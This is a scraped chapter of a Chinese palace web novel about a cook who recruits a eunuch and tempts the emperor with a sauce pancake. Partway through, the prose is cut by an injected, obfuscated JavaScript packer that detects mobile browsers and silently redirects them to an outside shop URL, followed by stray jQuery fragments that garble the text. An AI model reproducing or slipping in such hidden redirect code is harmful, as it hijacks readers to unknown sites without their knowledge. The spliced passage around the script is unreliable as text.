文趣网 > 其他小说 > 吃货娘娘后宫种田(美食) > 13. 皇上变饿鬼
    别说,这起势还挺像模像样。

    苏令仪拉着思宁回到廊下,把场地给曲平腾出来。

    曲平便唰唰地武起来,他个子高,身上精壮,皮肤古铜色,跳起来三尺高,落地时感觉地面都要颤三颤,棍子被挥出呼呼风声,招式称不上漂亮,一招一式却是实打实的。

    思宁在旁边看得拍手:“好厉害、好厉害。”

    曲平本来都要停了,被思宁一夸又来了几招,才喘着粗气收了棍,目光看向苏令仪,示意她点评。

    苏令仪笑了笑,淡定地说:“还不错,起码不是花拳绣腿。”

    曲平扔了棍,一边继续手里的活,一边说:“那是,这可是俺家祖传的棍法。”

    苏令仪却说:“就这要考武状元,差的可不是一星半点。”

    曲平顿住。

    苏令仪吃完最后一口滴螺:“不过我相中你了,来我宫里当个首领太监吧。”

    曲平四处张望一圈,目之所及见不到第二个男人……不,太监,就这也叫首领?

    苏令仪轻咳:“起码比你在尚膳监当火夫强。”

    曲平不说话,蹲下/身,低着头默默干活。

    “不愿意?”苏令仪走上前,“你是不是觉得自己武功天下无敌,只差一点就能当武状元了?是不是尚未报考武科就因家中出事,筹不到银钱被迫把自己买进宫?是不是觉得从男人变成太监天都塌了?是不是觉得壮志难酬,老天专挑你搓磨?是不是觉得当火夫屈才,来后宫伺候女人更是屈了你?”

    曲平被说的眼泪都快下来了,是的是的,这就是他心中所有的隐痛!

    明明从小开始扎马步,励志成为武状元,偏偏为了家中的生计不得不跟着父亲做泥瓦生意赚钱,明明总算到了武科的年纪,偏偏阿娘重病,为了筹钱不得不把自己卖给牙子,再被牙子买进宫净身当太监,明明可以是神气十足的侍卫,偏偏成了没种的东西……

    恰在这时,御马监的宫人来买腌菜,就是被田二嘲笑不机灵那位。

    人家虽不机灵,却因常年驯马长得膘肥体壮。

    苏令仪对曲平说:“别说我轻视你,你连他都打不倒。”

    曲平的情绪已经到了极点,被苏令仪这么一击,突然发疯似的冲向御马监宫人。

    自己练武多年,不可能连个太监都撂不倒,苏选侍你等着瞧吧。

    那御马监宫人笑呵呵的掏钱,突然被个大块头迎面冲撞而来,大叫了声“什么玩意儿”,下意识抬起胳膊肘去挡,而后使出勒缰绳的大劲儿用力一掀,竟把曲平掀了个后仰,人差点掉进刚挖好的鱼塘里。

    曲平起来的时候都是蒙的,对、对方怎么这么大劲儿。

    苏令仪其实一早就看出来了,曲平有点功夫不假,但远没到武状元的程度,甚至都没御马监常年驯马来的力气大。

    她上辈子见过的侍卫太多了,武艺不是这个档次的,连御马监手上的茧子都比他厚。

    “你以为你拿的是龙傲天剧本,其实跟我一样,都是拿的种田剧本,少年,一起农家乐吧。”

    曲平呆愣愣好一会儿,突然坐在地上大哭起来,泪如泉涌都省的给菜地浇水了。

    思宁小声问:“苏娘娘,什么是龙傲天,什么是剧本?”

    苏令仪指指屋里的新得的话本子:“书上写的,小孩不能看。”

    御马监那人都呆住了,不是,你先动的手,你还先哭起来了,讲不讲理?

    他惴惴不安道:“苏选侍,这、这……奴才不是故意的。”

    苏令仪摆摆手:“不干你的事,杏儿,给这位公公盛腌菜。”

    -

    一连几日,曲平都来拙饮轩干活儿,他功夫不是武状元的档次,泥瓦手艺几乎能当状元。

    鱼塘修好了,水都引了进去,苏令仪还没想好养什么鱼,他先从尚膳监抱来两条待宰的鲤鱼,那俩鲤鱼本来都干的翻肚了,到鱼塘里竟又摇摇尾巴游起来,成了新池塘第一批住户。

    养殖圈建好了,用黄砖垒起来,被隔成三个空间,将来至少能养三五种家畜,暂且还没有动物崽住进来。

    凉亭下的石桌椅砌起来了,圆桌圆凳,青砖筑基,青灰抹面,非常平整漂亮,只是还没阴干,尚且不能坐上去喝茶嗑瓜子。

    花圃菜地也都插了白篱笆,曲平还少女心地往篱笆上绕些野花野草,据说是原先院里那些杂草清理出来的,也算废物利用了。

    青砖石子路也铺就好了,从正厅到宫门、到厨房、到凉亭延伸出三条小径……短短几日,院子收拾得像模像样,有俗有雅,雅俗共赏。

    曲平自那日大哭之后一直没开口说话,干活都是沉默着,苏令仪炕的馅饼给他吃,他倒是接了,仍旧不说话,闷驴彻底被苏令仪治成了哑驴。

    苏令仪不着急,也不主动提让他来当首领太监的事,曲平受的打击不小,得真正想开才能慢慢恢复,连杏儿听了都说命运弄人。

    只是这样的遭遇对苏令仪来说并不算什么,盖因她经历的事太多,显得微不足道了。

    曲平没闲着,苏令仪更没闲着。

    辣酱卖得太好了,内廷二十四衙门(十二监四司八局)的宫人几乎都来买,这玩意儿咸辣过瘾,配饼子和馒头吃简直是神仙搭配,辣白菜和酸萝卜配米粥,这一顿顿吃得太舒坦了。

    她日日都得做辣酱,根本不够卖。

    辣酱和腌菜一碗碗卖出去,铜钱下雨似的落进匣子,把杏儿欢喜得每日都嚷匣子装不下了,每晚都得挑灯串钱,才能把匣子腾出来。

    苏令仪寻思的是,等忙完这几日,她的鸡鸭羊也得尽快养起来,现如今院子里只有植物没有动物,有失平衡,至少先养几只鸡调和下。

    这日傍晚,思宁抱着新出锅的酱香饼离开拙饮轩。

    热腾腾的酱香饼香气不住往外溢,她的脚步也越来越快,心急着回去能给母妃吃上热乎乎的饼。

    她脚步太快,拐弯时突然撞上一个人的衣摆。

    一抬头,哪是一个人,分明是天子的整个仪仗,她撞上的正是御前的大太监徐延。

    徐延吓死了,冲撞皇上可不得了,刚想出声训斥莽撞的幼童,看清是大公主,到嘴边的话拐个弯成了:“大公主,您怎么在这,跟着你的嬷嬷呢?”

    他可比底下的宫人精明多了,贺贵妃即便倒台在即,他也不会有丝毫落井下石之言,除非这个人真的死了,否则有一口气在,都有东山再起的可能。

    这是在宫里这么多年悟出的生存智慧。

    思宁有点受惊,呆呆的不知道该说什么。

    对于这位父皇,她敬畏多于依恋,父皇会赏她很多漂亮的衣裳和贵重的珠宝,可从来没亲亲抱抱过自己。

    她也很多日没见到父皇了,自从母妃病倒以后。

    目光逐渐上移,终于看到了龙辇上的人。

    李穆,当朝皇帝,十九岁坐上九五至尊的位子,十年时间他缴斩奸佞、清除党羽、收拢权利、清明朝堂、独揽大权……到如今也才二十九。

    这位年轻天子不仅手腕凌厉,模样也是丰神俊朗,身高八尺

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611000|205487||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有余,矜贵的华服穿上身,全天下的男儿无不自惭形秽。

    然而这位全天下少女的梦中情郎,此刻心情并不好,不为别的,只因刚才用晚膳,用出一肚子气。

    尚膳监伺候主子的饮食,其中重中之重便是皇上的饮食,按照本朝律例,皇上一餐有荤菜十二、素菜十二、点心四、粥二,共三十道。

    这些膳食要早早预备,做好后由一排排宫人捧着碗碟一路从尚膳监到承乾宫,等皇上说要用膳时再行奉膳,此刻距离膳食出锅已经不知过了多久,而后先由侍膳太监银针试毒,再亲口品尝,确认无毒后才能送到皇上面前。

    真正等摆上桌,皇上拿起筷子吃到嘴里时,菜几乎都凉了,再美味的菜放到这个时候也失了一半味道。

    所以李穆当了十年皇帝,富有四海,就没吃过热乎饭。

    原本十年时间也该适应了,可今日的晚膳中有一道“醉苏堤”,是他小时候吃过的,那时候他甚至都不是太子,只是个普通皇子,第一次吃到时十分惊艳,记了好久,时隔十年再次见到,他满心欢喜去品尝,结果菜几乎是凉的,连菜汤都泄了。

    根本尝不出当年的美味!

    气得他当场搁下筷箸,不肯再用。

    饭没吃好心情也不好,李穆干脆出来出来散心,乘着龙辇四处转悠。

    外人看不出来,徐延个人精可清楚得很,圣上心情不好,得小心伺候,所以小姑奶奶撞上来时,他心都提到嗓子眼了。

    好在李穆没生气,见是思宁,还问了句:“宁儿,见到父皇怎么不请安?”

    “见过父皇。”思宁屈身福了一福,“父皇好久没来看思宁了,思宁和母妃都很想念您。”

    提到贺贵妃,徐延掀起眼皮悄悄去瞧皇上的脸色,李穆神情倒变化不大,只说:“父皇忙,等得空会去看你们。”

    思宁跟苏令仪待久了胆子也变得大起来,试着问:“那父皇能送思宁回咸福宫吗?宁儿走不动了。”

    李穆犹豫了片刻,对徐延说:“把公主抱上来。”

    九五之尊似乎不爱跟小孩子亲热,并没有把思宁放怀里抱着,只让思宁坐在旁边,父女俩同城乘一辇。

    等坐稳后,仪仗开始稳稳往咸福宫的方向去了。

    李穆突然闻到一股极为香浓的味道,低头一看,是思宁手上的油纸包里散发出来的,他没用膳,本就饿着,立刻被勾出来馋虫,不自觉咽了口口水。

    “宁儿拿的什么食物?这般香。”

    “回父皇,是酱香饼。”思宁乖乖回答。

    “哦?”李穆抿了抿嘴唇,“尚膳监做的?”

    “才不是呢。”思宁心想,尚膳监可做不出这么好吃的饼,“是苏娘娘给我做的。”

    李穆“哦”了声,那香味就在旁边,不远不近地勾着味蕾,跟小孩要东西吃太丢人,可不要又实在忍得难受,纠结良久,最后他决定逗一逗思宁,万一成功了呢。

    “宁儿得了好东西,不请父皇尝一尝?”

    思宁想着这饼是给母妃吃的,自己都没舍得吃,但她乘了父皇的辇,给一些作为报酬是应该的,便用竹签从油纸包里扎了一片出来。

    “父皇,请。”

    “宁儿乖。”李穆非常满意,就着竹签吃了。

    原本他还没意识到问题的严重性,吃了这一口后,竟欲罢不能了,可思宁却没有再递来一块的打算,反而把油纸包抱得更紧了。

    李穆:“……”

    他被香味勾了一路,也寻思了一路,究竟是哪个苏娘娘?